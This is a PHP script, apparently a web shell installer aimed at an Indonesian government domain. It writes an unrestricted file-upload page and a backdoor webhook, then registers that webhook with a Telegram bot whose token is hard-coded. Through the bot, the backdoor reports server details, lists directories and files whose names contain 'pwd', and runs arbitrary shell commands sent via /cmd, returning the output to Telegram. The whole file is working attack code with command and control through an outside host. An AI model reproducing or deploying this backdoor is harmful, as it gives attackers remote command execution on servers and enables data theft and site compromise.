<?php
$botToken = "6811324386:AAEZMDTDblCKLWLUBsOP5Q4lm7ZHFbdfYKU";
$domain = "https://papuaselatan.go.id/";
$webhookFileName = "webhook.php";
$webhookURL = $domain . '/' . $webhookFileName;
$apiURL = "https://api.telegram.org/bot$botToken/";

function sendMessage($chat_id, $message) {
    global $apiURL;
    $url = $apiURL . "sendMessage?chat_id=" . $chat_id . "&text=" . urlencode($message) . "&parse_mode=Markdown";
    file_get_contents($url);
}

function getServerInfo() {
    $serverInfo = [];

    $serverInfo['IP Address'] = $_SERVER['SERVER_ADDR'];
    $serverInfo['Web Server'] = $_SERVER['SERVER_SOFTWARE'];
    $serverInfo['Server Username'] = get_current_user();

    $domains = shell_exec("ls /etc/apache2/sites-available | grep '.conf' | wc -l");
    $serverInfo['Jumlah Domain'] = trim($domains);

    $diskTotal = disk_total_space("/");
    $diskFree = disk_free_space("/");
    $diskUsed = $diskTotal - $diskFree;

    $serverInfo['Disk Total'] = formatBytes($diskTotal);
    $serverInfo['Disk Used'] = formatBytes($diskUsed);
    $serverInfo['Disk Free'] = formatBytes($diskFree);

    return $serverInfo;
}

function formatBytes($bytes, $precision = 2) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= (1 << (10 * $pow));
    return round($bytes, $precision) . ' ' . $units[$pow];
}

function showMenu($chat_id) {
    $serverInfo = getServerInfo();
    $message = "ℹ️ *Informasi Server:*\n";
    $message .= "🌐 *IP Address:* " . $serverInfo['IP Address'] . "\n";
    $message .= "🖥️ *Web Server:* " . $serverInfo['Web Server'] . "\n";
    $message .= "👤 *Server Username:* " . $serverInfo['Server Username'] . "\n";
    $message .= "📂 *Jumlah Domain:* " . $serverInfo['Jumlah Domain'] . "\n";
    $message .= "💾 *Disk Total:* " . $serverInfo['Disk Total'] . "\n";
    $message .= "📊 *Disk Used:* " . $serverInfo['Disk Used'] . "\n";
    $message .= "🗃️ *Disk Free:* " . $serverInfo['Disk Free'] . "\n\n";
    $message .= "⬇️ *Pilih opsi:*\n";
    $message .= "📁 /filemanager - File Manager\n";
    $message .= "⬆️ /uploadfile - Upload File\n";
    $message .= "⌨️ /cmd - Execute Command\n";
    $message .= "🖥️ /listserver - List Server\n";
    $message .= "📂 /listpwd - List PWD Files\n";
    sendMessage($chat_id, $message);
}

function fileManager($chat_id, $path = '.') {
    $files = scandir($path);
    $message = "📁 *Files in $path:*\n";
    foreach ($files as $file) {
        $message .= $file . "\n";
    }
    sendMessage($chat_id, $message);
}

function createUploadFile() {
    $uploadFilePath = __DIR__ . '/upload.php';
    if (!file_exists($uploadFilePath)) {
        $uploadPHPCode = <<<EOD
<?php
if (\$_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset(\$_FILES['file'])) {
        \$errors = [];
        \$file_name = \$_FILES['file']['name'];
        \$file_tmp = \$_FILES['file']['tmp_name'];
        \$upload_dir = __DIR__ . '/uploads/';

        if (!is_dir(\$upload_dir)) {
            mkdir(\$upload_dir, 0755, true);
        }

        if (move_uploaded_file(\$file_tmp, \$upload_dir . \$file_name)) {
            echo "File berhasil diunggah: " . \$file_name;
        } else {
            echo "Gagal mengunggah file.";
        }
    } else {
        echo "Tidak ada file yang diunggah.";
    }
} else {
    echo '<form action="" method="POST" enctype="multipart/form-data">
              Pilih file untuk diunggah:
              <input type="file" name="file">
              <input type="submit" value="Upload">
          </form>';
}
?>
EOD;
        file_put_contents($uploadFilePath, $uploadPHPCode);
    }
}

function uploadFile($chat_id) {
    $message = "⬆️ *Upload file* ke https://" . $_SERVER['SERVER_NAME'] . "/upload.php";
    sendMessage($chat_id, $message);
}

function executeCommand($chat_id, $command) {
    $output = shell_exec($command);
    sendMessage($chat_id, $output);
}

function listServer($chat_id) {
    $domain = $_SERVER['SERVER_NAME'];
    $message = "🖥️ *List Server:*\n";
    $message .= "🌐 *Server Domain:* $domain\n";
    sendMessage($chat_id, $message);
}

function listPwdFiles($chat_id, $path = '.') {
    $files = glob($path . '/*');
    $message = "📂 *PWD files in $path:*\n";
    foreach ($files as $file) {
        if (strpos($file, 'pwd') !== false) {
            $message .= $file . "\n";
        }
    }
    sendMessage($chat_id, $message);
}

createUploadFile();

function createWebhookFile($botToken, $webhookFileName) {
    $webhookFilePath = __DIR__ . '/' . $webhookFileName;
    if (!file_exists($webhookFilePath)) {
        $webhookPHPCode = <<<EOD
<?php
\$botToken = "$botToken";
\$apiURL = "https://api.telegram.org/bot\$botToken/";

function sendMessage(\$chat_id, \$message) {
    global \$apiURL;
    \$url = \$apiURL . "sendMessage?chat_id=" . \$chat_id . "&text=" . urlencode(\$message) . "&parse_mode=Markdown";
    file_get_contents(\$url);
}

function getServerInfo() {
    \$serverInfo = [];
    \$serverInfo['IP Address'] = \$_SERVER['SERVER_ADDR'];
    \$serverInfo['Web Server'] = \$_SERVER['SERVER_SOFTWARE'];
    \$serverInfo['Server Username'] = get_current_user();
    \$domains = shell_exec("ls /etc/apache2/sites-available | grep '.conf' | wc -l");
    \$serverInfo['Jumlah Domain'] = trim(\$domains);
    \$diskTotal = disk_total_space("/");
    \$diskFree = disk_free_space("/");
    \$diskUsed = \$diskTotal - \$diskFree;
    \$serverInfo['Disk Total'] = formatBytes(\$diskTotal);
    \$serverInfo['Disk Used'] = formatBytes(\$diskUsed);
    \$serverInfo['Disk Free'] = formatBytes(\$diskFree);
    return \$serverInfo;
}

function formatBytes(\$bytes, \$precision = 2) {
    \$units = ['B', 'KB', 'MB', 'GB', 'TB'];
    \$bytes = max(\$bytes, 0);
    \$pow = floor((\$bytes ? log(\$bytes) : 0) / log(1024));
    \$pow = min(\$pow, count(\$units) - 1);
    \$bytes /= (1 << (10 * \$pow));
    return round(\$bytes, \$precision) . ' ' . \$units[\$pow];
}

function showMenu(\$chat_id) {
    \$serverInfo = getServerInfo();
    \$message = "ℹ️ *Informasi Server:*\n";
    \$message .= "🌐 *IP Address:* " . \$serverInfo['IP Address'] . "\n";
    \$message .= "🖥️ *Web Server:* " . \$serverInfo['Web Server'] . "\n";
    \$message .= "👤 *Server Username:* " . \$serverInfo['Server Username'] . "\n";
    \$message .= "📂 *Jumlah Domain:* " . \$serverInfo['Jumlah Domain'] . "\n";
    \$message .= "💾 *Disk Total:* " . \$serverInfo['Disk Total'] . "\n";
    \$message .= "📊 *Disk Used:* " . \$serverInfo['Disk Used'] . "\n";
    \$message .= "🗃️ *Disk Free:* " . \$serverInfo['Disk Free'] . "\n\n";
    \$message .= "⬇️ *Pilih opsi:*\n";
    \$message .= "📁 /filemanager - File Manager\n";
    \$message .= "⬆️ /uploadfile - Upload File\n";
    \$message .= "⌨️ /cmd - Execute Command\n";
    \$message .= "🖥️ /listserver - List Server\n";
    \$message .= "📂 /listpwd - List PWD Files\n";
    sendMessage(\$chat_id, \$message);
}

function fileManager(\$chat_id, \$path = '.') {
    \$files = scandir(\$path);
    \$message = "📁 *Files in \$path:*\n";
    foreach (\$files as \$file) {
        \$message .= \$file . "\n";
    }
    sendMessage(\$chat_id, \$message);
}

function uploadFile(\$chat_id) {
    \$message = "⬆️ *Upload file* ke https://" . \$_SERVER['SERVER_NAME'] . "/upload.php";
    sendMessage(\$chat_id, \$message);
}

function executeCommand(\$chat_id, \$command) {
    \$output = shell_exec(\$command);
    sendMessage(\$chat_id, \$output);
}

function listServer(\$chat_id) {
    \$domain = \$_SERVER['SERVER_NAME'];
    \$message = "🖥️ *List Server:*\n";
    \$message .= "🌐 *Server Domain:* \$domain\n";
    sendMessage(\$chat_id, \$message);
}

function listPwdFiles(\$chat_id, \$path = '.') {
    \$files = glob(\$path . '/*');
    \$message = "📂 *PWD files in \$path:*\n";
    foreach (\$files as \$file) {
        if (strpos(\$file, 'pwd') !== false) {
            \$message .= \$file . "\n";
        }
    }
    sendMessage(\$chat_id, \$message);
}

\$update = json_decode(file_get_contents("php://input"), true);

\$chat_id = \$update['message']['chat']['id'];
\$command = \$update['message']['text'];

switch (\$command) {
    case '/start':
        showMenu(\$chat_id);
        break;
    case '/filemanager':
        fileManager(\$chat_id);
        break;
    case '/uploadfile':
        uploadFile(\$chat_id);
        break;
    case '/cmd':
        sendMessage(\$chat_id, "⌨️ *Masukkan perintah yang ingin dijalankan:*");
        break;
    case '/listserver':
        listServer(\$chat_id);
        break;
    case '/listpwd':
        listPwdFiles(\$chat_id);
        break;
    default:
        if (strpos(\$command, '/cmd ') === 0) {
            \$cmd = substr(\$command, 5);
            executeCommand(\$chat_id, \$cmd);
        } else {
            sendMessage(\$chat_id, "Perintah tidak dikenali.");
        }
        break;
}
?>
EOD;
        file_put_contents($webhookFilePath, $webhookPHPCode);
    }
}

createWebhookFile($botToken, $webhookFileName);

function setWebhook($webhookURL) {
    global $apiURL;
    $url = $apiURL . "setWebhook?url=" . $webhookURL;
    file_get_contents($url);
}

setWebhook($webhookURL);
?>

